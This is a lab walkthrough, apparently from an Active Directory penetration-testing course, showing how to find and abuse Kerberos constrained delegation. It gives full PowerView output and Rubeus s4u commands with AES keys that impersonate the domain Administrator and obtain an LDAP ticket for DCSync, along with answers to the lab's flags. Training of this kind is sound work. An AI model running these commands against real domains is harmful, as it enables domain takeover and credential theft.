Tasks
1 - Enumerate users in the domain for whom Constrained Delegation is enabled
For such a user, request a TGT from the DC and obtain a TGS for the service to which delegation is configured.
Pass the ticket and access the service.
2 - Enumerate computer accounts in the domain for which Constrained Delegation is enabled
For such a user, request a TGT from the DC.
Obtain an alternate TGS for LDAP service on the target machine.
Use the TGS for executing DCSync attack.
Flag 26 [dcorp-adminsrv] - Value of msds-allowedtodelegate to attribute of dcorp-adminsrv 🚩
Flag 27 [dcorp-adminsrv] - Alternate service accessed on dcorp-dc by abusing Constrained delegation on dcorp-adminsrv 🚩
Solutions
1 - Enumerate users in the domain for whom Constrained Delegation is enabled
To enumerate users with constrained delegation we can use PowerView. Run the below command from a PowerShell session started using Invisi-Shell:
Copy C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
. C:\AD\Tools\PowerView.ps1
Get-DomainUser -TrustedToAuth
Copy logoncount : 7
badpasswordtime : 12/31/1600 4:00:00 PM
distinguishedname : CN=web svc,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
objectclass : {top, person, organizationalPerson, user}
displayname : web svc
lastlogontimestamp : 5/18/2025 2:35:14 PM
userprincipalname : websvc
whencreated : 11/14/2022 12:42:13 PM
samaccountname : websvc
codepage : 0
samaccounttype : USER_OBJECT
accountexpires : NEVER
countrycode : 0
whenchanged : 5/18/2025 9:35:14 PM
instancetype : 4
usncreated : 38071
objectguid : b7ab147c-f929-4ad2-82c9-7e1b656492fe
sn : svc
lastlogoff : 12/31/1600 4:00:00 PM
msds-allowedtodelegateto : {CIFS/dcorp-mssql.dollarcorp.moneycorp.LOCAL, CIFS/dcorp-mssql}
objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=moneycorp,DC=local
dscorepropagationdata : {12/5/2024 12:47:28 PM, 11/14/2022 12:42:13 PM, 1/1/1601 12:00:01 AM}
serviceprincipalname : {SNMP/ufc-adminsrv.dollarcorp.moneycorp.LOCAL, SNMP/ufc-adminsrv}
givenname : web
usnchanged : 349838
lastlogon : 5/18/2025 2:51:48 PM
badpwdcount : 0
cn : web svc
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, TRUSTED_TO_AUTH_FOR_DELEGATION
objectsid : S-1-5-21-719815819-3726368948-3917688648-1114
primarygroupid : 513
pwdlastset : 11/14/2022 4:42:13 AM
name : web svc We already have secrets of websvc from dcorp-admisrv machine. We can either use Kekeo or Rubeus to abuse that.
In the below command (into an administrative cmd), we request get a TGS for websvc as the Domain Administrator - Administrator. Then the TGS used to access the service specified in the /msdsspn parameter (which is filesystem on dcorp-mssql):
Copy C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args s4u /user:websvc /aes256:2d84a12f614ccbf3d716b8339cbbe1a650e5fb352edc8e879470ade07e5412d7 /impersonateuser:Administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.LOCAL" /ptt and check if the TGS is injected using: klist
Try accessing filesystem on dcorp-mssql:
2 - Enumerate computer accounts in the domain for which Constrained Delegation is enabled
Continue, to enumerate the computer accounts with constrained delegation enabled using PowerView: Get-DomainComputer -TrustedToAuth
Copy pwdlastset : 11/11/2022 11:16:12 PM
logoncount : 97
badpasswordtime : 5/18/2025 3:28:12 PM
distinguishedname : CN=DCORP-ADMINSRV,OU=Applocked,DC=dollarcorp,DC=moneycorp,DC=local
objectclass : {top, person, organizationalPerson, user...}
lastlogontimestamp : 5/11/2025 9:04:27 PM
whencreated : 11/12/2022 7:16:12 AM
samaccountname : DCORP-ADMINSRV$
localpolicyflags : 0
codepage : 0
samaccounttype : MACHINE_ACCOUNT
whenchanged : 5/12/2025 4:04:27 AM
accountexpires : NEVER
countrycode : 0
operatingsystem : Windows Server 2022 Datacenter
instancetype : 4
useraccountcontrol : WORKSTATION_TRUST_ACCOUNT, TRUSTED_TO_AUTH_FOR_DELEGATION
objectguid : 2e036483-7f45-4416-8a62-893618556370
operatingsystemversion : 10.0 (20348)
lastlogoff : 12/31/1600 4:00:00 PM
msds-allowedtodelegateto : {TIME/dcorp-dc.dollarcorp.moneycorp.LOCAL, TIME/dcorp-DC}
objectcategory : CN=Computer,CN=Schema,CN=Configuration,DC=moneycorp,DC=local
dscorepropagationdata : {12/5/2024 12:47:28 PM, 11/15/2022 4:16:45 AM, 1/1/1601 12:00:01 AM}
serviceprincipalname : {WSMAN/dcorp-adminsrv, WSMAN/dcorp-adminsrv.dollarcorp.moneycorp.local,
TERMSRV/DCORP-ADMINSRV, TERMSRV/dcorp-adminsrv.dollarcorp.moneycorp.local...}
usncreated : 13891
usnchanged : 324081
lastlogon : 5/18/2025 3:29:49 PM
badpwdcount : 0
cn : DCORP-ADMINSRV
msds-supportedencryptiontypes : 28
objectsid : S-1-5-21-719815819-3726368948-3917688648-1105
primarygroupid : 515
iscriticalsystemobject : False
name : DCORP-ADMINSRV
dnshostname : dcorp-adminsrv.dollarcorp.moneycorp.local We have the AES keys of dcorp-adminsrv$ from dcorp-adminsrv machine. Run the below command from an elevated command prompt as SafetyKatz, that we will use for DCSync, would need that:
Copy C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args s4u /user:dcorp-adminsrv$ /aes256:e9513a0ac270264bb12fb3b3ff37d7244877d269a97c7b3ebc3f6f78c382eb51 /impersonateuser:Administrator /msdsspn:time/dcorp-dc.dollarcorp.moneycorp.LOCAL /altservice:ldap /ptt Flag 26 [dcorp-adminsrv] - Value of msds-allowedtodelegate to attribute of dcorp-adminsrv 🚩
The flag it the value of msds-allowedtodelegate to attribute of dcorp-adminsrv: {TIME/dcorp-dc.dollarcorp.XXXXXXXXXXXXXXXXXXXXXXXXXX}
Flag 27 [dcorp-adminsrv] - Alternate service accessed on dcorp-dc by abusing Constrained delegation on dcorp-adminsrv 🚩
We can discover the alternate service using the following command:
Copy C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args s4u /user:dcorp-adminsrv$ /aes256:e9513a0ac270264bb12fb3b3ff37d7244877d269a97c7b3ebc3f6f78c382eb51 /impersonateuser:Administrator /msdsspn:time/dcorp-dc.dollarcorp.moneycorp.LOCAL /altservice:ldap /ptt 
